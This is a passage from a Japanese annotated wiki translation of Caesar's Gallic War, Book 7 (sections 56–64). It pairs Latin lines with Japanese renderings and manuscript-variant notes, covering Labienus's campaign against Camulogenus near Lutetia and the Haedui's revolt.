*ut prius, quam essent maiores eo coactae copiae, dimicaret. 
**そこに（敵方の）より多くの軍勢が集結するよりも早く闘うように（急ぐべきだと）。
*②　Nam ut commutato consilio iter in provinciam converteret, 
**なぜなら、作戦を変更して、属州（[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]）に進路を方向転換するようにと、
*ne metu quidem&lt;ref&gt;ne metu quidem はα系写本の記述で、β系写本では nemo tunc quidem 、そのほか近代の校訂者によって修正提案が行なわれている。&lt;/ref&gt; necessario faciendum&lt;ref&gt;faciendum はβ系写本の記述で、α系写本では faciundum となっている。&lt;/ref&gt; existimabat; 
**（ガッリア勢への）怖れによって行なうことは決して必要ではない、と考えたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*cum infamia atque indignitas rei 
**（属州に撤退するという）事の不名誉や恥辱が、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：cum ～ tum …「～であるのと同様に特に…である」）&lt;/span&gt;
*et oppositus mons Cevenna&lt;ref&gt;Cevenna はχ系･U写本の記述で、π系･R写本の記述では Cebenna、φ系写本では Cevennae となっている。&lt;/ref&gt; viarumque difficultas impediebat, 
**およびケウェンナ山地が相対して道の（通行の）困難なことが、（属州への撤退を）妨げていたし、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ケウェンナ山地 mons Cevenna は現在のセヴェンヌ山地。[[#8節|8節]]を参照。）&lt;/span&gt;
*tum maxime quod abiuncto [[w:la:Titus_Labienus|Labieno]] atque iis legionibus, quas una miserat, vehementer timebat. 
**同様に、とりわけ[[w:ティトゥス・ラビエヌス|ラビエーヌス]]と一緒に派遣していた諸[[w:ローマ軍団|軍団]]から遠ざけられて、非常に心配してもいたのだ。
*③　Itaque admodum magnis diurnis nocturnisque itineribus confectis 
**こうして、昼間も夜間も非常な強行軍を成し遂げて、
*contra omnium opinionem ad [[w:la:Liger|Ligerem]]&lt;ref&gt;Ligerem はα系写本の記述で、β系写本では Ligerim となっている。&lt;/ref&gt; venit 
**皆の予想に反して、リゲル川（＝現[[w:ロワール川|ロワール川]]）の辺りにやって来た。
*④　vadoque per equites invento pro rei necessitate opportuno, 
**事態の緊急性に見合う好都合な浅瀬を、[[w:騎兵|騎兵]]たちを通じて見出して、
*ut brachia modo atque humeri&lt;ref&gt;humeri はA･φ系･ρ系写本の記述で、Q写本では umeri となっている。&lt;/ref&gt; ad sustinenda arma liberi ab aqua esse possent, 
**やっと腕と肩を、武器を差し上げるために、水から自由になることができた。
*disposito equitatu, qui vim fluminis refringeret, 
**川の流れの圧力を妨げるべく、騎兵隊を分けて置いて、
*atque hostibus primo aspectu perturbatis, 
**敵方は（ローマ勢を）初めに一見するや狼狽していたので、
*⑤　incolumem exercitum traduxit 
**（カエサルは）軍隊を無傷のまま渡河させた。
*frumentumque in agris et pecoris copiam nactus 
**耕地の穀物、および大量の家畜を獲得して、
*repleto his rebus exercitu 
**これらの物を軍隊に補充して、
*iter in Senones facere instituit.
**セノネース族のところに行軍することを決めた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：セノネース族の方面には、副官ラビエーヌスと4個軍団を派遣していた。）&lt;/span&gt;

==ラビエーヌスのルテティア遠征==
===57節===
'''副官ラビエーヌスがルテティア制圧に向かう'''
*①　Dum haec apud Caesarem geruntur, 
**これらがカエサルのもとで遂行されている間に、
*[[w:la:Titus Labienus|Labienus]] eo supplemento, quod nuper ex Italia venerat, 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は、最近イタリアから来ていた補充兵（予備兵）を
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#34節|34節]]で既述のようにラビエーヌスはカエサルから4個軍団とともにガッリア北部の制圧を委ねられていた。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;また、[[#1節|1節]]で既述のようにカエサルはイタリア（属州[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]）で部隊を徴兵していた。）&lt;/span&gt;
*relicto [[w:la:Agedincum|Agedinci]], ut esset impedimentis praesidio, 
**アゲディンクムに、[[w:輜重|輜重]]にとっての守備隊となるように、残留させて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#10節|10節]]で既述のように、カエサルはアゲディンクム（現在の[[w:サンス|サンス]]）に全軍の輜重を残していた。）&lt;/span&gt;
*cum quattuor legionibus Luteciam&lt;ref&gt;Luteciam はα系写本の記述で、π系写本では Luceciam 、ρ系写本では Lucetiam となっている。[[ガリア戦記 第6巻#3節|第6巻3節]]では Lutetia(m) とも綴られている。&lt;/ref&gt; proficiscitur. 
**4個軍団とともに[[w:ルテティア|ルテティア]]に出発した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ルテティア Lutetia は写本ではルテキア Lutetia とも綴られる。[[ガリア戦記 第6巻#3節|第6巻3節]]を参照。）&lt;/span&gt;
*Id est oppidum Parisiorum, quod positum est&lt;ref&gt;quod positum est はα系写本の記述で、β系写本では単に positum となっている。&lt;/ref&gt; in insula fluminis [[w:la:Sequana|Sequanae]]. 
**それ（ルテティア）は[[w:パリシイ族|パリスィイ族]]の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で、セクアナ川（＝現[[w:セーヌ川|セーヌ川]]）の中洲に位置している。
*②　Cuius adventu ab hostibus cognito 
**彼（ラビエーヌス）の到来が敵方により知られると、
*magnae ex finitimis civitatibus copiae convenerunt. 
**近隣の諸部族から大軍勢が集結していた。
*③　Summa imperii traditur Camulogeno Aulerco, 
**（北部ガッリア勢の）最高司令権は、[[w:アウレルキ族|アウレルキ族]]の[[w:カムロゲヌス|カムロゲヌス]]に託された。
*qui prope confectus aetate 
**その者はかなり年老いていたが、
*tamen propter singularem scientiam rei militaris ad eum est honorem evocatus. 
**けれども、彼の卓越した軍事の知識のために、顕職に召集されたのだ。
*④　Is cum animadvertisset perpetuam esse paludem, 
**彼（カムロゲヌス）は、沼地が絶え間なくあることに気付いていたので、
*quae influeret in Sequanam atque illum omnem locum magnopere impediret, 
**それはセクアナ（川）に流れ込み、かの一帯すべてを大いに近付きにくくしていたので、
*hic consedit nostrosque transitu prohibere instituit.
**ここに陣取って、我が方（ローマ勢）が渡河するのを妨げることに決めた。

===58節===
'''ラビエーヌスがメトロセドゥムを陥落させ、ルテティアのガッリア勢と対峙'''
*①　[[w:la:Titus Labienus|Labienus]] primo vineas agere, cratibus atque aggere paludem explere 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は初めに、&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を駆ること、柴や土砂で沼地を埋め立てること、
*atque iter munire conabatur. 
**および道を築くこと、を試みた。
*②　Postquam id difficilius confieri&lt;ref&gt;confieri はχ系･β系写本の記述で、Q写本では confici となっている。&lt;/ref&gt; animadvertit, 
**それが成し遂げられることが困難だと気付いた後で、
*silentio e castris tertia vigilia egressus 
**（敵に知られないように）静けさのうちに第三夜警時に陣営から進発して、
*eodem, quo venerat, itinere Metlosedum&lt;ref&gt;Metlosedum はコンスタン L.-A. Constans による修正で、π系･U写本では Metiosedum 、α系･ρ系写本では Mellodunum などとなっており、写本により表記がさまざまである。&lt;/ref&gt; pervenit. 
**やって来たのと同じ道程により、メトロセドゥムに到達した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：メトロセドゥム Metlosedum は、写本によりメティオセドゥム Metiosedum とも綴られ、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;後にはメロドゥーヌム [[w:la:Melodunum|Melodunum]] として知られる。現在の[[w:ムラン|ムラン]] [[w:fr:Melun|Melun]] である。）&lt;/span&gt;
*③　Id est oppidum [[w:la:Senones|Senonum]] in insula [[w:la:Sequana|Sequanae]] positum, ut paulo ante de [[w:la:Lutetia|Lutecia]] diximus. 
**それはセノネース族の城塞都市で、少し前に[[w:ルテティア|ルテティア]]について述べたように、セクアナ川の[[w:中州|中州]]に位置している。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ルテティアすなわち現在の[[w:パリ|パリ]]の中心部に[[w:シテ島|シテ島]]や[[w:サン＝ルイ島|サン＝ルイ島]]という[[w:セーヌ川|セーヌ川]]の中州があるように、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;現在のムランの中心部にもサン＝テティエンヌ島 [[w:fr:Île Saint-Étienne|Île Saint-Étienne]] というセーヌ川の中州がある。）&lt;/span&gt;
*④　Deprensis&lt;ref&gt;deprensis という語形はα系写本の記述で、β系写本では deprehensis となっている。&lt;/ref&gt; navibus circiter quinquaginta celeriterque coniunctis 
**約50隻の船を探し出して、速やかに結び合わせて（舟橋として）、
*atque eo militibus iniectis 
**そこに兵士たちを投入して、
*et rei novitate perterritis oppidanis, 
**事の新奇さに&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の者たちは脅えて、
*quorum magna pars erat ad bellum evocata, 
**彼ら（住民）の大部分は戦争へ徴集されていた（ため不在であった）ので、
*sine contentione oppido potitur. 
**（ラビエーヌスは）闘うことなしに（中州にあるメトロセドゥムの）城塞都市を掌握した。
*⑤　Refecto ponte, quem superioribus diebus hostes resciderant, exercitum traducit 
**それ以前の日々に敵方が破却していた橋を再建して、軍隊を（中州から対岸へ）渡らせて、
*et secundo flumine ad Luteciam iter facere coepit. 
**川に沿ってルテティアの方へ行軍を始めた。
*⑥　Hostes re cognita ab iis, qui Metlosedo&lt;ref&gt;Metlosedo はコンスタン L.-A. Constans による修正で、β系･S写本では Metiosedo 、χ系写本では Melloduno 、B･M･L･N写本では Ametlodone（あるいは Ametclodone）などとなっている。&lt;/ref&gt; fugerant, 
**敵方は、メトロセドゥムから逃げて来た者たちから事態を知って、
*Luteciam incendi pontesque eius oppidi rescindi iubent; 
**ルテティアを焼打ちすること、その城塞都市の橋を破却すること、を命じた。
*ipsi profecti a palude ad ripas&lt;ref&gt;ad ripas はχ系･B･M･L･N写本の記述で、S･Vおよびρ系写本では in ripas 、T写本では in ripa となっている。&lt;/ref&gt; Sequanae 
**彼ら自身は、沼地からセクアナの川岸へ出発して、
*e regione Luteciae contra Labieni castra considunt.
**ルテティア（の対岸）に向かってラビエーヌスの陣営に対抗して陣取った。

===59節===
'''ガッリア諸部族が迫り、ラビエーヌスが作戦変更を決断'''
*①　Iam Caesar a [[w:la:Gergovia|Gergovia]] discessisse audiebatur, 
**すでに、カエサルが[[w:ゲルゴウィア|ゲルゴウィア]]から撤退したことが聞かれていたし、
*iam de [[w:la:Haedui|Haeduorum]] defectione et secundo Galliae motu rumores adferebantur, 
**もはや、[[w:ハエドゥイ族|ハエドゥイー族]]の背反や、ガッリアの動乱の順調さについての噂がもたらされていた。
*Gallique in conloquiis 
**（当地の）ガッリア人たちは会話の中で、
*interclusum itinere et [[w:la:Liger|Ligeri]] Caesarem inopia frumenti coactum in provinciam contendisse confirmabant. 
**カエサルが行軍やリゲル（渡河）を遮られて、糧食の欠乏により属州（[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]）に急ぐことを強いられた、と確言した。
*②　Bellovaci autem defectione Haeduorum cognita, 
**一方で、ベッロウァキ族もハエドゥイー族の背反を知って、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ベッロウァキ族は、ハエドゥイー族の仲介によりカエサルに降伏していた。[[ガリア戦記 第2巻#14節|第2巻14節]]～15節を参照。）&lt;/span&gt;
*qui iam&lt;ref&gt;qui iam は古典学者 ニコラエス・ハインシウス1世 [[w:en:Nikolaes_Heinsius_the_Elder|Nikolaes Heinsius the Elder]] による修正提案で、χ系･S･β系写本では qui 、B･M･L･N写本では quia となっている。&lt;/ref&gt; ante erant per se infideles, 
**彼ら自身もすでに以前から（カエサルやローマ人に）忠誠的でなかったが、
*manus cogere atque aperte bellum parare coeperunt. 
**手勢を徴集して、公けに戦争を準備することを始めた。
*③　Tum [[w:la:Titus Labienus|Labienus]] tanta rerum commutatione 
**そこで、[[w:ティトゥス・ラビエヌス|ラビエーヌス]]はこれほどの事態の変動により、
*longe aliud sibi capiendum consilium, atque antea senserat, intellegebat, 
**自分にとって、以前に判断していたのとはまったく別の作戦が立てられるべきだ、と考えた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：aliud ～ atque …「…とは別の～」）&lt;/span&gt;
*④　neque iam, ut aliquid adquireret proelioque hostes lacesseret, 
**もはや、何らかのものを獲得したり、敵方に戦闘を挑むようにではなく、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：neque ut ～, sed ut …「～ようにではなく、…ように」）&lt;/span&gt;
*sed ut incolumem exercitum Agedincum reduceret, cogitabat. 
**軍隊を無傷のままでアゲディンクム（＝現[[w:サンス|サンス]]）に連れ戻すように、と考えた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：アゲディンクムには輜重と守備隊が残されていた。[[#10節|10節]]・[[#57節|57節]]を参照。）&lt;/span&gt;
*⑤　Namque altera ex parte Bellovaci, 
**実際、一方の側からはベッロウァキ族が、
*quae civitas in Gallia maximam habet opinionem virtutis, instabant, 
**ガッリアにおいて武勇に最大の評判を持つその部族が、迫りつつあった。
*alteram Camulogenus parato atque instructo exercitu tenebat: 
**他方からは、カムロゲヌスが軍隊を準備し、整列させて、進んでいた。
*tum legiones a praesidio atque impedimentis interclusas 
**そのとき、（ラビエーヌス麾下の）諸軍団は（アゲディンクムにいる）守備隊や輜重から遮られて、
*maximum flumen distinebat. 
**とても大きな（セクアナ）川が阻んでいた。
*⑥　Tantis subito difficultatibus obiectis 
**突然に、これほどの困難が投げ出されたので、
*ab animi virtute auxilium petendum videbat.
**武勇の心構えに救いを求めるべきだと（ラビエーヌスは）思った。

===60節===
'''ラビエーヌスが陽動戦術に努める'''
*①　Itaque&lt;ref&gt;Itaque はS･β系写本の記述で、α系写本にはない。&lt;/ref&gt; sub vesperum consilio convocato 
**こうして（[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は）夕方に会議を召集して、
*cohortatus, ut ea, quae imperasset, diligenter industrieque administrarent, 
**（彼が）命令したことを入念かつ勤勉に従事するように鼓舞した。
*naves, quas [[w:la:Melodunum|Metlosedo]]&lt;ref&gt;Metlosedo はコンスタン L.-A. Constans による修正で、χ系･S･β系写本では Metiosedo 、B･M写本では  ameclodone 、L･N写本では a mellodone 、&lt;i&gt;etc&lt;/i&gt;. となっている。&lt;/ref&gt; deduxerat, singulas equitibus Romanis attribuit, 
**[[w:ムラン|メトロセドゥム]]から引いて来ていた船団を、ローマ人騎士たち1人ずつに配分して、
*et prima confecta vigilia IIII(quattuor) milia passuum secundo flumine silentio progredi 
**第一夜警時が終わる頃に、4ローママイル（6km弱）下流に静けさのうちに進発すること、
*ibique se exspectari&lt;ref&gt;exspectari はα系･T･ρ系写本の記述で、S･V写本では exspectare などとなっている。&lt;/ref&gt; iubet. 
**かつ、そこで自分（ラビエーヌス）を待つことを命じた。
*②　Quinque cohortes, quas minime firmas ad dimicandum esse existimabat, 
**（白兵戦を）闘うためにはあまり強くないと（ラビエーヌスが）考えていた5個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; 
*castris praesidio relinquit; 
**陣営にとっての守備隊として残留させた。
*quinque eiusdem legionis reliquas 
**同じ軍団の残りの5個（歩兵大隊）を
*de media nocte cum omnibus impedimentis adverso flumine magno tumultu proficisci imperat. 
**真夜中から、すべての[[w:輜重|輜重]]とともに、上流の方に大きな喧騒でもって出発することを命令した。
*④　Conquirit etiam lintres; 
**小舟さえも探し集めて、
*has magno sonitu remorum incitatas in eandem partem mittit. 
**これらを大きな音とともに[[w:櫂|櫂]]を駆って、同じ方面に派遣した。
*Ipse post paulo silentio egressus cum tribus legionibus 
**（ラビエーヌス）自身は、少し後で静けさのうちに3個[[w:ローマ軍団|軍団]]とともに進発して、
*eum locum petit, quo naves appelli iusserat.
**船団が停められることを命じていた地点へ行った。

===61節===
'''ラビエーヌスの陽動により、敵将カムロゲヌスが兵力を分散'''
*①　Eo cum esset ventum, 
**（ラビエーヌスの軍勢が）そこにやって来たときに、
*exploratores hostium, ut omni fluminis parte erant dispositi, 
**敵方の偵察者たちが（セクアナ）川の至る所に分けて置かれていたが、
*inopinantes, quod magna subito erat coorta tempestas, 
**突然に大きな嵐が生じたので（ローマ勢の襲撃を）予期していなかった者たちは、
*ab&lt;ref&gt;ab はχ系･B･M･L･N写本の記述で、S･β系写本では a となっている。&lt;/ref&gt; nostris opprimuntur; 
**我が方（ローマ勢）によって不意を襲われたのだ。
*②　exercitus equitatusque equitibus Romanis administrantibus, quos ei negotio praefecerat, 
**歩兵隊と騎兵隊が、（ラビエーヌスが）任務を指揮させていたローマ人騎士たちの指導により、
*celeriter transmittitur. 
**速やかに（セクアナ川を）渡らせられた。
*③　Uno fere tempore sub lucem hostibus nuntiatur 
**夜明け前のほぼ一時に（以下のことが）敵方に報知された。
*in castris Romanorum praeter consuetudinem tumultuari 
**ローマ人の陣営において、通例に反して、騒がれていること、
*et magnum ire agmen adverso flumine 
**大きな隊列が上流の方へ行軍していること、
*sonitumque remorum in eadem parte exaudiri 
**（船を漕ぐ）櫂の音が同じ方面で聞き取られたこと、
*et paulo infra milites navibus transportari. 
**少し下流で兵士たちが船で（セクアナ川を）渡されたこと、である。
*④　Quibus rebus auditis, 
**それらの事態が聞かれて、
*quod existimabant tribus locis transire legiones atque omnes perturbatos defectione [[w:la:Haedui|Haeduorum]] fugam parare, 
**（ローマ勢の）諸軍団が3か所で渡河したこと、[[w:ハエドゥイ族|ハエドゥイー族]]の背反により総勢が取り乱して逃亡を準備していること、を考えたので、
*suas quoque copias in tres partes distribuerunt. 
**自分たちの軍勢をも3方面に分配した。
*⑤　Nam praesidio e regione castrorum relicto 
**すなわち（一隊がローマ勢の）陣営の真向かいに守備隊として残され、
*et parva manu Metlosedum&lt;ref&gt;Metlosedum はQ写本の記述で、χ系･β系写本では Metiosedum 、などとなっている。&lt;/ref&gt; versus missa, 
**（別の）わずかな手勢が[[w:ムラン|メトロセドゥム]]の方面へ派遣され、
*quae tantum progrediatur&lt;ref&gt;progrediatur はα系写本の記述で、Q･S･β系写本では progrederetur となっている。&lt;/ref&gt;, quantum naves processissent, 
**（ローマ勢の）船団が進み出るだけ、（ガッリア兵も）前進するようにした。
*reliquas copias contra Labienum duxerunt.
**残りを軍勢をラビエーヌスに対して（カムロゲヌス自身が）率いて行った。

===62節===
'''ラビエーヌスがカムロゲヌス麾下のガッリア勢を各個撃破して、カエサルと合流'''
*①　Prima luce et nostri omnes erant transportati 
**夜明けに、我が方（ローマ勢）は総勢が（セクアナ川の左岸に）渡されていたし、
*et hostium acies cernebatur. 
**敵方の戦列も見分けられた。
*②　[[w:la:Titus Labienus|Labienus]] milites cohortatus, 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は兵士たちを（以下のように）鼓舞した。
*ut suae pristinae virtutis et tot&lt;ref&gt;tot はS･β系写本の記述で、α系写本にはない。&lt;/ref&gt; secundissimorum proeliorum retinerent memoriam&lt;ref&gt;retinerent memoriam はχ系･B･M･L･N写本の記述で、S･β系写本では memoriam retinerent となっている。&lt;/ref&gt; 
**自分たちのかつての武勇とこのようにとてもうまくいっている諸戦闘を記憶に留めるように、
*atque ipsum Caesarem, cuius ductu saepe numero hostes superassent, praesentem adesse existimarent, 
**かつ、その指揮によって何度もしばしば敵方を打ち破って来たカエサル当人が目下居合わせていると考えるように、と。
*dat signum proelii. 
**（それから）戦闘の号令を発した。
*③　Primo concursu ab dextro cornu, ubi septima legio constiterat, 
**最初の激突は、[[w:第7軍団クラウディア・ピア・フィデリス|第7軍団]]が布陣していた（ローマ軍の）右翼からで、
*hostes pelluntur atque in fugam coniciuntur; 
**敵方は撃退されて、逃亡に追いやられた。
*④　ab sinistro, quem locum duodecima legio tenebat, 
**第12軍団が場所を占めていた左翼からは、
*cum primi ordines hostium transfixi pilis&lt;ref&gt;pilis はβ系写本の記述で、α系写本では telis となっている。&lt;/ref&gt; concidissent, 
**敵方の最前列（の兵たち）が投げ槍で突き通されて斃れたのだが、
*tamen acerrime reliqui resistebant 
**けれども残りの者たちがとても激烈に抵抗していて、
*nec dabat suspicionem fugae quisquam. 
**誰も逃亡の予兆を示さなかった。
*⑤　Ipse dux hostium Camulogenus suis aderat atque eos cohortabatur. 
**敵方の将帥カムロゲヌス自身は、麾下の者たちに居合わせて、彼らを激励していた。
*⑥　At&lt;ref&gt;cohortabatur. At はχ系写本などの記述で、別の写本では記述が異なる。&lt;/ref&gt; incerto nunc etiam&lt;ref&gt;nunc etiam はB･M･L･N写本の記述で、χ系･S･β系写本では etiamnunc となっている。&lt;/ref&gt; exitu victoriae, 
**勝敗の帰趨は今もなお不確実だったが、
*cum septimae legionis tribunis esset nuntiatum, quae in sinistro cornu gererentur, 
**第7軍団の&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、左翼で&lt;ruby&gt;&lt;rb&gt;出来&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅったい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;したことが報告されたときに、
*post tergum hostium legionem ostenderunt signaque intulerunt. 
**敵方の背後に（第7）軍団を差し向けて、軍旗を進めた（＝進撃した）。
*⑦　Ne eo quidem tempore quisquam loco cessit, 
**その時でさえ、（ガッリア勢の）誰も（戦闘の）場から退却しなかった
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*sed circumventi omnes interfectique sunt. 
**けれども、総勢が包囲されて（ローマ軍により）殺戮された。
*Eandem fortunam tulit Camulogenus. 
**同じ不幸をカムロゲヌスも蒙った。
*⑧　At ii&lt;ref&gt;ii はχ系写本の記述で、他の写本では記述が異なる。&lt;/ref&gt;, qui praesidio contra castra Labieni erant relicti, 
**これに対して、ラビエーヌスの陣営に対して守備隊として残されていた（ガッリア勢の）者たちは、
*cum proelium commissum audissent, subsidio suis ierunt collemque ceperunt, 
**（両軍が）戦闘を交えているのを聞き付けたので、味方の援兵として出て行って、丘陵を占めていたが、
*neque nostrorum militum victorum impetum sustinere potuerunt. 
**勝勢の我が方（ローマ軍）の兵士たちの突撃を持ちこたえることができなかった。
*⑨　Sic cum suis fugientibus permixti, 
**このようにして、敗走している味方と混じり合ったときに、
*quos non silvae montesque texerunt, ab equitatu sunt interfecti. 
**森林や山岳が覆い隠すことのなかったその者たちは、（ローマ側の）騎兵隊によって殺戮された。
*⑩　Hoc negotio confecto Labienus revertitur Agedincum, 
**この戦役が成し遂げられると、ラビエーヌスは[[w:サンス|アゲディンクム]]に引き返した。
*ubi impedimenta totius exercitus relicta erant; 
**そこには軍隊全体の[[w:輜重|輜重]]が残されていたのだ。
*inde die Ⅲ.&lt;ref&gt;inde die Ⅲ. は近代の校訂者による修正提案で、Q･M･S･N･β系写本では単に inde 、他の写本では別の記述になっている。&lt;/ref&gt; cum omnibus copiis ad Caesarem pervenit.
**そこから3日目（＝2日後）にすべての軍勢とともにカエサルのところへ到着した。

==ガッリア戦乱の拡大==
===63節===
'''ハエドゥイー族がウェルキンゲトリークスに主導権争いを挑む'''
*①　Defectione [[w:la:Haedui|Haeduorum]] cognita bellum augetur. 
**[[w:ハエドゥイ族|ハエドゥイー族]]の背反が知られて、戦乱は拡大された。
*②　Legationes in omnes partes circummittuntur; 
**（ハエドゥイー族らにより）使節たちがあらゆる方面に遣わされまくり、
*quantum gratia, auctoritate, pecunia valent, ad sollicitandas civitates nituntur; 
**信望、勢力や金銭によってできる限り、諸部族をそそのかすことに努めた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quantum ～ valere「～によってできる限り」）&lt;/span&gt;
*③　nacti obsides, quos Caesar apud eos deposuerat,  
**カエサルが彼ら（ハエドゥイー族）のもとに預けて置いた人質たちを手に入れて、
*horum supplicio dubitantes territant.
**彼ら（人質たち）の処刑（を示唆すること）によって、決心がつかぬ者たちを恐れさせた。
*④　Petunt a [[w:la:Vercingetorix|Vercingetorige]] Haedui, ut ad se veniat rationesque belli gerendi communicet; 
**ハエドゥイー族は、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]に、自分たちのところへ来て戦争遂行の戦略を協議するように要求した。
*re impetrata contendunt, ut ipsis summa imperii tradatur. 
**その事が成し遂げられると、（ハエドゥイー族）自身に最高司令権が委ねられるように頑張った。
*Et re&lt;ref&gt;et re は近代の校訂者による修正提案で、β系写本では re 、α系写本では et rem となっている。&lt;/ref&gt; in controversiam deducta totius Galliae concilium [[w:la:Bibracte|Bibracte]] indicitur. 
**その事が論争の状態に置かれて、[[w:ビブラクテ|ビブラクテ]]でのガッリア全体の会合が公示された。
*Eodem conveniunt&lt;ref&gt;Eodem conveniunt はα系写本の記述で、β系写本では単に conveniunt 、etc.となっている。&lt;/ref&gt; undique frequentes. 
**同じところに至る所からたくさんの者たちが集まって来た。
*⑥　Multitudinis suffragiis res permittitur; 
**（最高司令権の）事は衆人の票決に任せられて、
*ad unum omnes Vercingetorigem probant imperatorem. 
**衆議一決により、ウェルキンゲトリークスを将軍（最高司令官）として承認した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ad unum omnes「最後の一人に至るまですべて」）&lt;/span&gt;
*⑦　Ab hoc concilio Remi, Lingones, Treveri afuerunt, 
**この会合へは、[[w:レミ族|レーミー族]]、リンゴネス族、トレウェリ族が不在であった。
*illi quod amicitiam Romanorum sequebantur, 
**前者（レーミー族とリンゴネス族）は、ローマ人との友好を遵守したので（不在であった）。
*Treveri quod aberant longius et ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; [[w:la:Germani|Germanis]] premebantur, 
**トレウェリ族は、はるか遠くに離れており、[[w:ゲルマニア|ゲルマニア]]人により圧迫されていた。
*quae fuit causa quare toto abessent bello 
**それが、何ゆえに（ウェルキンゲトリークスによる）戦争全体に関与しなかったかの理由であり、
*et neutris auxilia mitterent. 
**（ウェルキンゲトリークスとカエサルの）どちら側にも援軍を派遣しなかった。
*⑧　Magno dolore Haedui ferunt se deiectos principatu, 
**ハエドゥイー族は、自分たちが盟主の座から遠ざけられて、とても憤懣やるかたなかったし、
*queruntur fortunae commutationem 
**境遇の変わりようを嘆いて、
*et Caesaris indulgentiam in se&lt;ref&gt;indulgentiam in se はα系写本の記述で、β系写本では in se indulgentiam となっている。&lt;/ref&gt; requirunt 
**カエサルの自分たちへの寛大さを惜しんだ。
*neque tamen suscepto bello suum consilium ab reliquis separare audent. 
**けれども戦争を引き受けてしまったので、あえて自分たちの作戦計画をほか（の諸部族）と異にしなかった。
*⑨　Inviti summae spei adulescentes Eporedorix et Viridomarus Vercingetorigi parent.
**たいへんな野心を持つ青年たち[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]は、意に反してウェルキンゲトリークスに服従した。

===64節===
'''ウェルキンゲトリークスがガッリア諸部族の誘降・服従を謀る'''
*①　Ipse&lt;ref&gt;ipse はα系写本の記述で、β系写本では ille となっている。&lt;/ref&gt; imperat reliquis civitatibus obsides denique ei rei constituit diem; 
**（ウェルキンゲトリークス）自身は、ほかの諸部族に人質（の供出）を命令して、のみならずその事の期日を決めた。
*huc omnes equites, [[wikt:la:quindecim|XV(quindecim)]] milia numero, celeriter convenire iubet. 
**そこに、1万5000名の数のすべての[[w:騎兵|騎兵]]に、速やかに集結することを命じた。
*②　Peditatu quem antea habuerit se fore contentum dicit 
**（歩兵については）自分は、以前から持っていた[[w:歩兵|歩兵隊]]で満足するであろうと言った。
*neque fortunam temptaturum aut in acie&lt;ref&gt;in acie はα系写本の記述で、β系写本では単に acie となっている。&lt;/ref&gt; dimicaturum, 
**（歩兵で）武運を試すことはしないであろうし、あるいは野戦で（白兵戦を）闘うこともないであろう、と。
*sed quoniam abundet equitatu, 
**しかし、騎兵隊は豊富であるから、
*perfacile esse factu frumentationibus pabulationibusque Romanos prohibere; 
**ローマ人たちの糧食・糧秣徴発を妨げることは、とても容易である、と。
*③　aequo modo animo sua ipsi frumenta corrumpant aedificiaque incendant, 
**ただ平静な心で、自分たちの穀物を自身で傷めて、（穀物の）建屋を焼打ちするように。
*qua rei familiaris iactura perpetuum imperium libertatemque se consequi videant. 
**資産の犠牲により、永久の領有権と自由を自分たちが獲得することを思え、と。
*④　His constitutis rebus 
**これらの事が決定されると、
*[[w:la:Haedui|Haeduis]] Segusiavisque, qui sunt finitimi provinciae, decem milia peditum imperat; 
